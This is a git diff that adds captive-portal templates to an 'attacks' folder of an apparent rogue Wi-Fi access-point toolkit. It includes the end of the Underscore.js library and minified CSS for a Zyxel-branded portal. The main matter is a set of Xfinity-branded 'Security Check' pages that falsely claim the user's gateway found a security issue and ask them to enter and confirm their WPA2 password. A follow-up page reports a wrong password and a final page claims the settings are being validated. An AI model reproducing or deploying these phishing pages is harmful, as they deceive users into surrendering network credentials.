_.identity = function(value) { + return value; + }; + + // Run a function **n** times. + _.times = function (n, iterator, context) { + for (var i = 0; i < n; i++) iterator.call(context, i); + }; + + // Break out of the middle of an iteration. + _.breakLoop = function() { + throw breaker; + }; + + // Add your own custom functions to the Underscore object, ensuring that + // they're correctly added to the OOP wrapper as well. + _.mixin = function(obj) { + each(_.functions(obj), function(name){ + addToWrapper(name, _[name] = obj[name]); + }); + }; + + // Generate a unique integer id (unique within the entire client session). + // Useful for temporary DOM ids. + var idCounter = 0; + _.uniqueId = function(prefix) { + var id = idCounter++; + return prefix ? prefix + id : id; + }; + + // By default, Underscore uses ERB-style template delimiters, change the + // following template settings to use alternative delimiters. + _.templateSettings = { + evaluate : /<%([\s\S]+?)%>/g, + interpolate : /<%=([\s\S]+?)%>/g + }; + + // JavaScript micro-templating, similar to John Resig's implementation. + // Underscore templating handles arbitrary delimiters, preserves whitespace, + // and correctly escapes quotes within interpolated code. + _.template = function(str, data) { + var c = _.templateSettings; + var tmpl = 'var __p=[],print=function(){__p.push.apply(__p,arguments);};' + + 'with(obj||{}){__p.push(\'' + + str.replace(/'/g, "\\'") + .replace(c.interpolate, function(match, code) { + return "'," + code.replace(/\\'/g, "'") + ",'"; + }) + .replace(c.evaluate || null, function(match, code) { + return "');" + code.replace(/\\'/g, "'") + .replace(/[\r\n\t]/g, ' ') + "__p.push('"; + }) + .replace(/\r/g, '\\r') + .replace(/\n/g, '\\n') + .replace(/\t/g, '\\t') + + "');}return __p.join('');"; + var func = new Function('obj', tmpl); + return data ? func(data) : func; + }; + + // The OOP Wrapper + // --------------- + + // If Underscore is called as a function, it returns a wrapped object that + // can be used OO-style. This wrapper holds altered versions of all the + // underscore functions. Wrapped objects may be chained. + var wrapper = function(obj) { this._wrapped = obj; }; + + // Expose `wrapper.prototype` as `_.prototype` + _.prototype = wrapper.prototype; + + // Helper function to continue chaining intermediate results. + var result = function(obj, chain) { + return chain ? _(obj).chain() : obj; + }; + + // A method to easily add functions to the OOP wrapper. + var addToWrapper = function(name, func) { + wrapper.prototype[name] = function() { + var args = slice.call(arguments); + unshift.call(args, this._wrapped); + return result(func.apply(_, args), this._chain); + }; + }; + + // Add all of the Underscore functions to the wrapper object. + _.mixin(_); + + // Add all mutator Array functions to the wrapper. + each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + method.apply(this._wrapped, arguments); + return result(this._wrapped, this._chain); + }; + }); + + // Add all accessor Array functions to the wrapper. + each(['concat', 'join', 'slice'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + return result(method.apply(this._wrapped, arguments), this._chain); + }; + }); + + // Start chaining a wrapped Underscore object. + wrapper.prototype.chain = function() { + this._chain = true; + return this; + }; + + // Extracts the result from a wrapped and chained object. + wrapper.prototype.value = function() { + return this._wrapped; + }; + +})(); diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/w b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/w new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/w @@ -0,0 +1 @@ + diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/error.html b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/error.html new file mode 100755 index 0000000..deca480 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/error.html @@ -0,0 +1,250 @@ + + + + + + Xfinity Security Check + + + + + + + + + + + + + + + +
    + + +
    + + +
    +
    +

    Security Check

    +
    +
    +

    Your XFINITYâ„¢ Wireless Gateway detected a + security issue. Please enter your wireless security + settings to proceed.

    +
    +
    + + + + + + +
    +

    The password you've entered is incorrect, please try again.

    +
    +
    +    WPA2 Password:
    + Confirm Password:
    + +
    +
    +
    +
    +
    +
    + + diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/final.html b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/final.html new file mode 100755 index 0000000..cc5ce9b --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/final.html @@ -0,0 +1,156 @@ + +Vaidate Settings

    Validating Settings

    Validating your settings... Please wait about 1 minute.

    \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/index.html b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/index.html new file mode 100755 index 0000000..be57c25 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/index.html @@ -0,0 +1,249 @@ + + + + + + Xfinity Security Check + + + + + + + + + + + + + + + +
    + + +
    + + +
    +
    +

    Security Check

    +
    +
    +

    Your XFINITYâ„¢ Wireless Gateway detected a + security issue. Please enter your wireless security + settings to proceed.

    +
    +
    + + + + + + +
    +
    +
    +    WPA2 Password:
    + Confirm Password:
    + +
    +
    +
    +
    +
    +
    + + diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/dtree.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/dtree.css new file mode 100644 index 0000000..583751a --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/dtree.css @@ -0,0 +1 @@ +.dtree{font-family:Arial,Helvetica,sans-serif;font-size:12px;color:#dbeaff;font-size:11px;white-space:nowrap}.dtree img{border:0;vertical-align:middle}.dtree a{color:#dbeaff;text-decoration:none}.dtree a:hover{color:#dbeaff;text-decoration:underline}.dtree a.node,.dtree a.nodeSel{white-space:nowrap;padding:1px 2px 1px 2px}.dtree a.node:hover{color:#333;text-decoration:none}.dtree a.nodeSel:hover{color:#4570a8;text-decoration:none}.dtree a.nodeSel{color:#4570a8;background-color:#c0d2ec}.dtree .clip{overflow:hidden}a.fastbutton{padding-left:70px} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside.css new file mode 100644 index 0000000..32fe1c2 --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside.css @@ -0,0 +1 @@ +@import url("reset.css");body{height:100%}*html{overflow-x:hidden}INPUT{FONT-WEIGHT:normal;FONT-SIZE:11px;FONT-FAMILY:Arial,Helvetica,sans-serif}SELECT{FONT-WEIGHT:normal;FONT-SIZE:11px;FONT-FAMILY:Arial,Helvetica,sans-serif}#wrapper{position:absolute;width:100%;margin:0 auto;z-index:1}#wrapper #top{display:block;width:100%;height:130px;background-image:url(../images/title_bg.jpg);background-repeat:no-repeat}.top_position{position:relative;width:100%;height:61px}.top_position .logo{position:absolute;background-image:url(../images/advance_logo.jpg);width:102px;height:29px;left:18px;top:18px}.top_position .modelname{position:absolute;width:30%;height:25px;font-family:Arial,Helvetica,sans-serif;font-size:18px;color:#9ce2ff;font-weight:bold;left:126px;top:20px}.top_position .quick_link{position:absolute;width:50%;height:25px;right:5px;top:4px}.top_position .quick_link ul li{float:right}.top_position .quick_link li{display:block;margin:0 2px;font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe}.top_position .quick_link ul li a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#78c7fe}.top_position .quick_link ul li a:hover{color:#b5e1ff;text-decoration:none}.top_position .quick_link li.line{display:block;width:1px;height:7px;background-color:#cecece;margin-top:3px}.top_position .quick_link ul li.about{display:block;margin-left:8px;width:35px;height:13px;background-image:url(../images/i_about.gif);background-repeat:no-repeat}.top_position .quick_link ul li.about a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:8px}.top_position .quick_link ul li.about a:hover{color:#b5e1ff}.top_position .quick_link ul li.help{display:block;margin-left:8px;width:35px;height:17px;background-image:url(../images/i_help.gif);background-repeat:no-repeat;margin-right:8px}.top_position .quick_link ul li.help a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.help a:hover{color:#b5e1ff}.top_position .quick_link ul li.easy{display:block;margin-left:8px;width:75px;height:17px;background-image:url(../images/i_easy.gif);background-repeat:no-repeat;margin-right:8px}.top_position .quick_link ul li.easy a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.easy a:hover{color:#b5e1ff}#contentframe{position:absolute;width:100%;margin:0 auto;top:62px;left:0;z-index:20}.contentframe{display:block;width:100%;margin:0 auto;height:100%}.contentframe ul li{display:block;float:left}.submenu{position:absolute;width:35px;height:152px;z-index:15}.submenu ul li{display:block;width:35px}.submenu ul li.i_dashboard a{display:block;background-image:url(../images/b_dashboard.gif);height:38px}.submenu ul li.i_dashboard{display:block;background-image:url(../images/b_dashboard_on.gif);height:38px}.submenu ul li.i_dashboard a:hover{background-image:url(../images/b_dashboard_on.gif)}.submenu ul li.i_monitor a{display:block;background-image:url(../images/b_monitor.gif);height:38px}.submenu ul li.i_monitor{display:block;background-image:url(../images/b_monitor_on.gif);height:38px}.submenu ul li.i_monitor a:hover{background-image:url(../images/b_monitor_on.gif)}.submenu ul li.i_config a{display:block;background-image:url(../images/b_config.gif);height:38px}.submenu ul li.i_config{display:block;background-image:url(../images/b_config_on.gif);height:38px}.submenu ul li.i_config a:hover{background-image:url(../images/b_config_on.gif)}.submenu ul li.i_maintenance a{display:block;background-image:url(../images/b_maintenance.gif);height:38px}.submenu ul li.i_maintenance{display:block;background-image:url(../images/b_maintenance_on.gif);height:38px}.submenu ul li.i_maintenance a:hover{background-image:url(../images/b_maintenance_on.gif)}.menu{position:absolute;width:166px;margin-left:34px;height:100%;z-index:6}ul li.menutitle{display:block;font-family:Georgia,"Times New Roman",Times,serif;font-size:12px;color:#feffff;font-weight:bold;text-indent:4px}.menu ul li.menuline{margin-top:1px;display:block;width:166px;background-color:#39639e;border-top-width:1px;border-right-width:1px;border-bottom-width:0;border-left-width:1px;border-top-style:solid;border-right-style:solid;border-left-style:solid;border-top-color:#779bc8;border-right-color:#779bc8;border-left-color:#779bc8}.menu ul li.floor{display:block;width:168px;height:2px}.contenleft{position:relative;height:500px;width:100%;left:0;z-index:3;top:2px;right:0}.contenleft .path{position:absolute;height:21px;background-color:#7296c1;width:100%;border:1px solid #97b4d2;line-height:21px;top:-1px;padding-left:205px}.contenleft .path ul li{display:block;float:left;height:21px}.contenleft .path ul li.i_path{display:block;background-image:url(../images/i_path.gif);width:80%;height:21px;background-repeat:no-repeat;background-position:left 5px}.contenleft .path ul li a.w_path{display:block;font-family:Arial,Helvetica,sans-serif;color:#ededed;text-indent:12px;display:block;line-height:21px;height:21px;font-size:11px;text-decoration:none}.contenleft .contentmain{position:absolute;width:100%;z-index:5;height:500px;top:22px;left:2px}.contenleft #tabs{position:absolute;width:78%;top:11px;z-index:21;left:211px}.contenleft #tabs li{display:inline;margin:0;padding:0}#tabs a{float:left;background:url(../images/"tab_left.gif") no-repeat left top;margin:0;padding:0 0 0 3px;line-height:19px;text-decoration:none;font-family:Arial,Helvetica,sans-serif;font-size:11px}#tabs a span{float:left;display:block;background:url(../images/"tab_right.gif") no-repeat right top;padding:1px 9px 3px 6px;color:#15428b;font-weight:bold}#tabs a span{float:none}#tabs a:hover span{color:#000}#tabs a:hover{background-position:0 -23px}#tabs a:hover span{background-position:100% -23px}#tabs li.hightline a{float:left;background:url(../images/"tab_left.gif") no-repeat left top;margin:0;padding:0 0 0 3px;line-height:20px;text-decoration:none;font-family:Arial,Helvetica,sans-serif;font-size:11px;background-position:0 -23px}#tabs li.hightline a span{float:left;display:block;background:url(../images/"hightline.gif") no-repeat;background-position:right top;padding:1px 9px 3px 6px;color:#15428b;font-weight:bold}.contenleft #table{position:relative;width:78%;top:33px;z-index:20;left:210px}.contenleft #table ul li.table_top{position:absolute;width:100%;background-color:#deecfd;height:4px;font-size:1px;background-repeat:repeat-x;margin-right:3px;z-index:6;border-top:1px solid #8db2e3;border-right:2px solid #8db2e3;border-bottom:1px solid #8db2e3;border-left:2px solid #8db2e3}.table_content{display:block;width:100%;border-right-width:0;border-left-width:0;border-right-style:solid;border-left-style:solid;border-right-color:#8db2e3;border-left-color:#8db2e3;border-top-width:0;border-bottom-width:0;background-color:#fff;z-index:5}.table_button{display:block;width:100%;border-right-width:0;border-left-width:0;border-right-style:solid;border-left-style:solid;border-right-color:#8db2e3;border-left-color:#8db2e3;border-top-width:0;border-bottom-width:0;background-image:url(../images/table_bottom.gif);height:33px;line-height:33px}.data ul li{width:95%;display:block;margin:0 auto;height:20px}.data ul li.title{font-family:Arial,Helvetica,sans-serif;color:#385f95;font-size:11px;font-weight:bold;height:25px;line-height:25px}.data ul li.w_text{font-family:Arial,Helvetica,sans-serif;color:#000;font-size:11px;height:25px;line-height:25px}.data ul li.w_text2{font-family:Arial,Helvetica,sans-serif;color:#000;font-size:11px;height:100%}.i_note{display:block;background-image:url(../images/i_note.gif);height:25px;background-repeat:no-repeat;line-height:25px;background-position:left 5px;font-family:Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;color:#000;text-indent:18px}.i_note_a{display:block;height:25px;line-height:25px;font-family:Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;color:#000;text-indent:25px}a.note{font-weight:lighter}a.note:hover{text-decoration:none}a.sort{font-weight:bold;color:#000}a.sort:hover{text-decoration:none;color:#036}.blod{font-weight:bold}.r1{height:1px;font-size:1px;overflow:hidden;display:block;background:#779bc8;margin:0 5px}.r2{height:1px;font-size:1px;overflow:hidden;display:block;border-right:2px solid #779bc8;border-left:2px solid #779bc8;margin:0 3px;background-color:#39639e}.r3{height:1px;font-size:1px;overflow:hidden;display:block;border-right:1px solid #779bc8;border-left:1px solid #779bc8;margin:0 2px;background-color:#39639e}.r4{height:2px;font-size:1px;overflow:hidden;display:block;border-right:1px solid #779bc8;border-left:1px solid #779bc8;margin:0 1px;background-color:#39639e}.clearfloat{clear:both;height:0;font-size:1px;line-height:0} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside_main_frame.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside_main_frame.css new file mode 100644 index 0000000..48e0be4 --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside_main_frame.css @@ -0,0 +1 @@ +@import url(reset.css);body{background-image:url(../images/advance_bg.gif);height:100%}html{overflow-x:hidden}INPUT{FONT-WEIGHT:normal;FONT-SIZE:11px;FONT-FAMILY:Arial,Helvetica,sans-serif}SELECT{FONT-WEIGHT:normal;FONT-SIZE:11px;FONT-FAMILY:Arial,Helvetica,sans-serif}#wrapper{position:absolute;width:100%;margin:0 auto;z-index:1}#wrapper #top{display:block;width:100%;height:130px;background-image:url(../images/title_bg.jpg);background-repeat:no-repeat}.top_position{position:relative;width:100%;height:61px}.top_position .logo{position:absolute;background-image:url(../images/advance_logo.jpg);width:102px;height:29px;left:18px;top:18px}.top_position .modelname{position:absolute;width:30%;height:25px;font-family:Arial,Helvetica,sans-serif;font-size:18px;color:#9ce2ff;font-weight:bold;left:126px;top:20px}.top_position .quick_link{position:absolute;width:50%;height:25px;right:5px;top:4px}.top_position .quick_link ul li{float:right}.top_position .quick_link li{display:block;margin:0 2px;font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe}.top_position .quick_link ul li a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#78c7fe}.top_position .quick_link ul li a:hover{color:#b5e1ff;text-decoration:none}.top_position .quick_link li.line{display:block;width:1px;height:7px;background-color:#cecece;margin-top:3px}.top_position .quick_link ul li.about{display:block;margin-left:8px;width:35px;height:13px;background-image:url(../images/i_about.gif);background-repeat:no-repeat}.top_position .quick_link ul li.about a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:8px}.top_position .quick_link ul li.about a:hover{color:#b5e1ff}.top_position .quick_link ul li.help{display:block;margin-left:8px;width:35px;height:17px;background-image:url(../images/i_help.gif);background-repeat:no-repeat;margin-right:8px}.top_position .quick_link ul li.help a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.help a:hover{color:#b5e1ff}.top_position .quick_link ul li.easy{display:block;margin-left:8px;width:75px;height:17px;background-image:url(../images/i_easy.gif);background-repeat:no-repeat;margin-right:8px}.top_position .quick_link ul li.easy a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.easy a:hover{color:#b5e1ff}.top_position .quick_link ul li.home{display:block;margin-left:8px;width:50px;height:17px;background-image:url(../images/i_home.gif);background-repeat:no-repeat}.top_position .quick_link ul li.home a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.home a:hover{color:#b5e1ff}#contentframe{position:absolute;width:100%;margin:0 auto;top:62px;left:0;z-index:20}.contentframe{display:block;width:100%;margin:0 auto;height:100%}.contentframe ul li{display:block;float:left}.submenu{position:absolute;width:35px;height:152px;z-index:15}.submenu ul li{display:block;width:35px}.submenu ul li.i_dashboard a{display:block;background-image:url(../images/b_dashboard.gif);height:38px}.submenu ul li.i_dashboard{display:block;background-image:url(../images/b_dashboard_on.gif);height:38px}.submenu ul li.i_dashboard a:hover{background-image:url(../images/b_dashboard_on.gif)}.submenu ul li.i_monitor a{display:block;background-image:url(../images/b_monitor.gif);height:38px}.submenu ul li.i_monitor{display:block;background-image:url(../images/b_monitor_on.gif);height:38px}.submenu ul li.i_monitor a:hover{background-image:url(../images/b_monitor_on.gif)}.submenu ul li.i_config a{display:block;background-image:url(../images/b_config.gif);height:38px}.submenu ul li.i_config{display:block;background-image:url(../images/b_config_on.gif);height:38px}.submenu ul li.i_config a:hover{background-image:url(../images/b_config_on.gif)}.submenu ul li.i_maintenance a{display:block;background-image:url(../images/b_maintenance.gif);height:38px}.submenu ul li.i_maintenance{display:block;background-image:url(../images/b_maintenance_on.gif);height:38px}.submenu ul li.i_maintenance a:hover{background-image:url(../images/b_maintenance_on.gif)}.menu{position:absolute;width:166px;margin-left:34px;height:100%;z-index:6}ul li.menutitle{display:block;font-family:Georgia,"Times New Roman",Times,serif;font-size:12px;color:#feffff;font-weight:bold;text-indent:4px}.menu ul li.menuline{margin-top:1px;display:block;width:166px;background-color:#39639e;border-top-width:1px;border-right-width:1px;border-bottom-width:0;border-left-width:1px;border-top-style:solid;border-right-style:solid;border-left-style:solid;border-top-color:#779bc8;border-right-color:#779bc8;border-left-color:#779bc8}.menu ul li.floor{display:block;width:168px;height:2px}.contenleft{position:relative;height:0;width:100%;left:0;z-index:3;top:2px;right:0}.contenleft .path{position:absolute;height:21px;background-color:#7296c1;width:100%;border:1px solid #97b4d2;line-height:21px;top:-1px;padding-left:205px}.contenleft .path ul li{display:block;float:left;height:21px}.contenleft .path ul li.i_path{display:block;background-image:url(../images/i_path.gif);width:80%;height:21px;background-repeat:no-repeat;background-position:left 5px}.contenleft .path ul li a.w_path{display:block;font-family:Arial,Helvetica,sans-serif;color:#ededed;text-indent:12px;display:block;line-height:21px;height:21px;font-size:11px;text-decoration:none}.contenleft .barcontent{position:absolute;height:28px;left:202px;background-image:url(../images/message_bar.gif);width:100%;line-height:21px;top:40px;padding-left:9px}.contenleft .barcontent ul li{display:block;float:left;padding-top:2px;padding-left:2px}.contenleft .barcontent ul li.i_message{display:block;margin-left:0;width:12px;height:26px;line-height:25px;background-image:url(../images/i_message.gif);background-repeat:no-repeat;background-position:left 8px}.contenleft .barcontent ul li a.message_title{margin-left:0;font-family:Arial,Helvetica,sans-serif;font-size:14px;font-weight:bold}.contenleft .barcontent ul li.message_word{margin-left:80px;font-family:Arial,Helvetica,sans-serif;font-size:14px;width:0;background-image:url(../images/message_bar2.gif);background-position:left -1px;padding-top:5px;padding-left:2px}.contenleft .contentmain{position:absolute;width:100%;z-index:5;height:0;top:22px;left:2px}.contenleft #tabs{position:absolute;width:78%;top:11px;z-index:21;left:211px}.contenleft #tabs li{display:inline;margin:0;padding:0}#tabs a{float:left;background:url(../images/"tab_left.gif") no-repeat left top;margin:0;padding:0 0 0 3px;line-height:19px;text-decoration:none;font-family:Arial,Helvetica,sans-serif;font-size:11px}#tabs a span{float:left;display:block;background:url(../images/"tab_right.gif") no-repeat right top;padding:1px 9px 3px 6px;color:#15428b;font-weight:bold}#tabs a span{float:none}#tabs a:hover span{color:#000}#tabs a:hover{background-position:0 -23px}#tabs a:hover span{background-position:100% -23px}#tabs li.hightline a{float:left;background:url(../images/"tab_left.gif") no-repeat left top;margin:0;padding:0 0 0 3px;line-height:20px;text-decoration:none;font-family:Arial,Helvetica,sans-serif;font-size:11px;background-position:0 -23px}#tabs li.hightline a span{float:left;display:block;background:url(../images/"hightline.gif") no-repeat;background-position:right top;padding:1px 9px 3px 6px;color:#15428b;font-weight:bold}.contenleft #table{position:relative;width:78%;top:33px;z-index:20;left:210px}.contenleft #table ul li.table_top{position:absolute;width:100%;background-color:#deecfd;height:4px;font-size:1px;background-repeat:repeat-x;margin-right:3px;z-index:6;border-top:1px solid #8db2e3;border-right:2px solid #8db2e3;border-bottom:1px solid #8db2e3;border-left:2px solid #8db2e3}.table_content{display:block;width:100%;border-right-width:2px;border-left-width:2px;border-right-style:solid;border-left-style:solid;border-right-color:#8db2e3;border-left-color:#8db2e3;border-top-width:0;border-bottom-width:0;background-color:#fff;z-index:5}.table_button{display:block;width:100%;border-right-width:2px;border-left-width:2px;border-right-style:solid;border-left-style:solid;border-right-color:#8db2e3;border-left-color:#8db2e3;border-top-width:0;border-bottom-width:0;background-image:url(../images/table_bottom.gif);height:33px;line-height:33px}.data ul li{width:95%;display:block;margin:0 auto;height:20px}.data ul li.title{font-family:Arial,Helvetica,sans-serif;color:#385f95;font-size:11px;font-weight:bold;height:25px;line-height:25px}.data ul li.w_text{font-family:Arial,Helvetica,sans-serif;color:#000;font-size:11px;height:25px;line-height:25px}.data ul li.w_text2{font-family:Arial,Helvetica,sans-serif;color:#000;font-size:11px;height:100%}.i_note{display:block;background-image:url(../images/i_note.gif);height:25px;background-repeat:no-repeat;line-height:25px;background-position:left 5px;font-family:Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;color:#000;text-indent:18px}.i_note_a{display:block;height:25px;line-height:25px;font-family:Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;color:#000;text-indent:25px}a.note{font-weight:lighter}a.note:hover{text-decoration:none}a.sort{font-weight:bold;color:#000}a.sort:hover{text-decoration:none;color:#036}.blod{font-weight:bold}.r1{height:1px;font-size:1px;overflow:hidden;display:block;background:#779bc8;margin:0 5px}.r2{height:1px;font-size:1px;overflow:hidden;display:block;border-right:2px solid #779bc8;border-left:2px solid #779bc8;margin:0 3px;background-color:#39639e}.r3{height:1px;font-size:1px;overflow:hidden;display:block;border-right:1px solid #779bc8;border-left:1px solid #779bc8;margin:0 2px;background-color:#39639e}.r4{height:2px;font-size:1px;overflow:hidden;display:block;border-right:1px solid #779bc8;border-left:1px solid #779bc8;margin:0 1px;background-color:#39639e}.clearfloat{clear:both;height:0;font-size:1px;line-height:0} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/reset.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/reset.css new file mode 100644 index 0000000..c2b7e6c --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/reset.css @@ -0,0 +1,31 @@ +body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, form, fieldset, input, textarea, p, blockquote, th, td { + margin:0; + padding:0; +} +table { + border-collapse:collapse; + border-spacing:0; +} +fieldset, img { + border:0; +} +address, caption, cite, code, dfn, em, strong, th, var { + font-style:normal; + font-weight:normal; +} +ol, ul { + list-style:none; +} +caption, th { + text-align:left; +} +/*h1, h2, h3, h4, h5, h6 { + font-size:100%; + font-weight:normal; +}*/ +q:before, q:after { + content:''; +} +abbr, acronym { + border:0; +} diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/table.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/table.css new file mode 100644 index 0000000..7d1679c --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/table.css @@ -0,0 +1 @@ +.pannel2{width:96%;margin:0 auto;height:100%;position:relative}.pannel2 .leftpannel{display:block;width:49%;float:left}.pannel2 .rightpannel{display:block;width:49%;float:right}.panneltop{display:block;width:100%;height:26px;background-image:url(../images/table_top_center.gif)}.panneltop ul li{display:block;float:left;font-family:Arial,Helvetica,sans-serif;font-size:12px;color:#39418b;font-weight:bold;line-height:26px}.panneltop ul li.leftpanneltop{height:26px;background-image:url(../images/table_top_left.gif);width:5px;float:left}.panneltop li.rightpanneltop{height:26px;background-image:url(../images/table_top_right.gif);width:5px;float:right}.top_left{display:block;border-bottom:1px solid #ededed;height:26px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-left-width:1px;border-left-style:solid;border-left-color:#99bbe8;background-image:url(../images/table_02_center.gif);border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top_left3{display:block;border-bottom:1px solid #ededed;height:45px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-left-width:1px;border-left-style:solid;border-left-color:#99bbe8;background-image:url(../images/table_03_center.gif);border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top_right{display:block;border-bottom:1px solid #ededed;height:26px;background-image:url(../images/table_02_center.gif);font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-right-width:1px;border-right-color:#99bbe8;border-right-style:solid;text-indent:5px}.top_font{display:block;border-bottom:1px solid #ededed;height:26px;background-image:url(../images/table_02_center.gif);font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top_font2{display:block;border-bottom:1px solid #ededed;height:26px;background-image:url(../images/table_02_center.gif);font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-align:center}.top_font3{display:block;border-bottom:1px solid #ededed;height:45px;background-image:url(../images/table_03_center.gif);font-family:Arial,Helvetica,sans-serif;line-height:45px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.table_left{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#010101;border-left-width:1px;border-left-style:solid;border-left-color:#99bbe8;text-indent:5px}.table_right{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#99bbe8;text-indent:5px}.table_font{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#010101;text-indent:5px}.table_font2{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#0b70fc;text-align:left}.table_font3{display:block;border-bottom:1px solid #ededed;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#06f;text-indent:5px;height:22px}.table_right2{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#0b70fc;border-right-width:1px;border-right-color:#99bbe8;border-right-style:solid;text-indent:5px}.table_title{font-family:Arial,Helvetica,sans-serif;font-size:12px;color:#39418b;font-weight:bold;text-indent:10px}.top2_left{display:block;border-bottom:1px solid #ededed;height:18px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:18px;font-size:12px;color:#010101;border-left-width:1px;border-left-style:solid;border-left-color:#99bbe8;background-image:url(../images/table_02_center2.gif);border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top2_right{display:block;border-bottom:1px solid #ededed;height:18x;background-image:url(../images/table_02_center2.gif);font-family:Arial,Helvetica,sans-serif;line-height:18px;font-size:12px;color:#010101;border-right-width:1px;border-right-color:#99bbe8;border-right-style:solid;text-indent:5px}.top2_font{display:block;border-bottom:1px solid #ededed;height:18px;background-image:url(../images/table_02_center2.gif);font-family:Arial,Helvetica,sans-serif;line-height:18px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top2_font2{display:block;border-bottom:1px solid #ededed;height:18px;background-image:url(../images/table_02_center2.gif);font-family:Arial,Helvetica,sans-serif;line-height:18px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-align:center}a.iclose{display:block;background-image:url(../images/b_close.gif);width:15px;height:15px;background-repeat:no-repeat}a:hover.iclose{background-image:url(../images/b_close_on.gif)}.popupcontent{font-family:Arial,Helvetica,sans-serif;font-size:11px;color:#010101;text-indent:5px}#popup{position:absolute;width:100%;height:100%;background-color:#000;z-index:150;filter:alpha(Opacity=70,Style=0);-moz-opacity:.7;opacity:.7;visibility:hidden}#popup_table{position:absolute;width:80%;margin:0 27%;top:150px;z-index:151;visibility:hidden;left:1px}#popup2_table{position:absolute;width:60%;margin:0 32%;top:220px;z-index:152;left:1px;visibility:hidden}#popup3_table{position:absolute;width:60%;margin:0 